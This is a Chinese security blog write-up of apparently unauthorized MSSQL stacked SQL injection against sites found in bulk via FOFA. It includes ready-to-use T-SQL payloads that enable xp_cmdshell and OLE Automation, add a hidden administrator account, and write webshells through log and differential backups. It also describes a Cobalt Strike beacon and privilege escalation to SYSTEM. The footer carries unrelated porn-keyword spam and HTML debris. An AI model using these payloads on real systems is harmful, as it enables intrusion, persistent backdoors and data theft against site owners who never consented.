<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次堆疊注入拿shell的總結

    VSole2022-08-31 07:34:41

    0x01 前言

    菜雞第一次實戰中碰到mssql的堆疊注入,大佬們輕噴。本來對堆疊注入沒啥了解,這次正巧碰到mssql的堆疊注入,正好加強一下對堆疊注入的理解。

    0x02 堆疊注入

    因為在sql查詢語句中, 分號“;”代表查詢語句的結束,所以在執行sql語句結尾分號的后面,再加一條sql語句,就造成了堆疊注入。

    這種情況很像聯合查詢,他們的區別就在于聯合查詢執行的語句是有限的,只能用來執行查詢語句,而堆疊注入可以執行任意語句。

    菜雞不會審計php代碼,這里就不貼sql語句的源碼了。

    0x03 滲透過程

    先fofa批量找一下目標

    前臺的頁面,首先懟一波弱口令

    其實有幾個是可以弱口令直接進后臺的,但是后臺沒有任何的getshell點

    那就只能在后臺的登錄窗口試一試有沒有注入了,抓包測試一下

    發現有注入點,直接上sqlmap一把梭,直接出了mssql 數據庫,而且是堆疊注入。

    這里想直接 --os-shell,想起來堆疊注入后面的語句是沒有回顯的,再換個思路。

    ping 下 dnslog 看看是否可以直接執行命令,看來是可以執行命令的

    再換個思路,嘗試用xp_cmdshell,手工打開xp_cmdshell ,發現函數沒有被禁用 ,可以執行命令

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
    

    嘗試直接注入cs的powershell上線,好家伙,直接上線 ,看來函數沒有被禁用

    EXEC master..xp_cmdshell’免殺powershell命令’
    

    甜土豆提權到system

    連xp_cmdshell命令都沒有禁用,想來也不會有什么殺軟。

    首先看了一下進程,emmm 那么多powershell進程......沒有啥玩的必要了。可以嘗試溯源一波,下篇文章發。

    也沒有內網,收工。

    0x03 總結

    這里這么順利是因為沒有殺軟,命令也都沒有攔截禁用,下面說一下如果xp_cmdshell被禁用該怎么辦。

    1. sp_configure函數

    開啟sp_configure函數的命令

    EXEC sp_configure 'show advanced options', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'show advanced options', 0;
    

    執行系統命令,注意沒有回顯,下面的命令添加一個影子用戶并加入管理員組

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
    

    還有其他的函數,這里就不一一列舉了。

    注:很多情況上面兩個函數并不能執行(存在殺軟),mssql數據庫可以用以下兩個方法。

    2. log備份寫shell

    前提條件:

    數據庫存在注入用戶具有讀寫權限,一般至少DBO權限有網站的具體路徑站庫不分離
    

    而且這種方法備份出的馬子體積很小,備份成功的可能性很大。

    利用步驟:
    1.修改數據庫為還原模式(恢復模式):;alter database 庫名 set RECOVERY FULL –-2.建表和字段;create table orange(a image)--3.備份數據庫;backup log 數據庫名 to disk = ‘c:\www\0r@nge1.bak’ with init –4.往表中寫入一句話;insert into orange(a) values (0x...)--    //值要進行hex進制轉換下5.利用log備份到web的物理路徑;backup log 數據庫名 to disk = 'c:\www\0r@nge2.php' with init--6.刪除表;Drop table orange--
    

    3. 差異備份寫shell

    概念:備份自上一次完全備份之后有變化的數據。差異備份過程中,只備份有標記的那些選中的文件和文件夾。它不清除標記,也即備份后不標記為已備份文件。換言之,不清除存檔屬性。

    用人話說就是:第二次備份的時候,與上一次完全備份的時候作對比,把不同的內容備份下來,所以只要插入我們的一句話木馬,再備份一下,一句話就會被寫到數據庫中。

    前提條件:

    有網站具體路徑有可寫權限(dbo權限以上)站庫不分離
    
    利用步驟:
    1.備份數據庫;backup database 數據庫名 to disk = 'C:\www\\...' with init --2.創建表格%';create table orange(a image) --3.寫入webshell%';insert into orange(a) values (0xxxxx) --4.進行差異備份%';backup log 數據庫名 to disk = 'C:\www\orange.asp'  WITH DIFFERENTIAL,FORMAT;--5.刪除表;Drop table orange--
    

    這些都是理論,實戰中可能被各種過濾,還需要修改payload進行具體繞過。

    ps:第一次發文章,有啥不對的師傅們可以指出來,一起學習(求輕噴)

    數據庫shell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一款用Go語言編寫的數據庫自動化提權工具,支持Mysql、MSSQL、Postgresql、Oracle、Redis數據庫提權、命令執行、爆破以及ssh連接等等功能。
    0x01 前言之前接觸tp5的站比較少,只知道利用RCE漏洞getshell的方式。在最近對一個發卡平臺滲透的過程中,由于php版本限制,無法直接使用RCE的payload拿shell,于是結合該網站盡可能多的測試一下tp5+php7.1環境下的getshell方法。
    接著老毛病就犯了,上去就輸入了個1查詢接著輸入了1’嘖嘖嘖,這明顯有SQL注入哇。果斷掏出SQLMAP神器。結局很完美,不僅存在注入,還是DBA的權限。初步信息搜集既然拿到了shell,那么第一步肯定是信息搜集了。免殺shellcode完美上線這里我用的K8gege的 Ladon插件進行掃描內網得,主要掃描出來的結果格式比較好看。橫向滲透&進一步信息搜集內網第一波那必須的是MS17-010了,這里我同樣用K8gege的Ladon。
    在所有漏洞類型中,SQL 注入可是說是危害最大最受大家關注的漏洞。簡單說來,SQL 注入是通過在用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料之外結果的攻擊行為。還是以 ThinkJS 為例,假設我們寫了如下一個接口(實際情況肯定不會這么寫的):
    0x01 前言菜雞第一次實戰中碰到mssql的堆疊注入,大佬們輕噴。本來對堆疊注入沒啥了解,這次正巧碰到mssql的堆疊注入,正好加強一下對堆疊注入的理解。0x02 堆疊注入因為在sql查詢語句中, 分號“;”代表查詢語句的結束,所以在執行sql語句結尾分號的后面,再加一條sql語句,就造成了堆疊注入。菜雞不會審計php代碼,這里就不貼sql語句的源碼了。
    MSSQL注入和漏洞利用姿勢總結
    基礎介紹Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。判斷數據庫類型/*?數據庫中獨有的數據表,如果頁面返回正常即可表示為?為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。
    getshell學習總結
    2022-06-07 08:05:41
    上傳、數據庫備份、配置插馬 關于各種帶有漏洞的應用以及OWASP Top10常規漏洞需要不斷的積累,打造自己的核心知識庫,道路且長。本文僅記錄最近對常見cms后臺getshell的學習總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类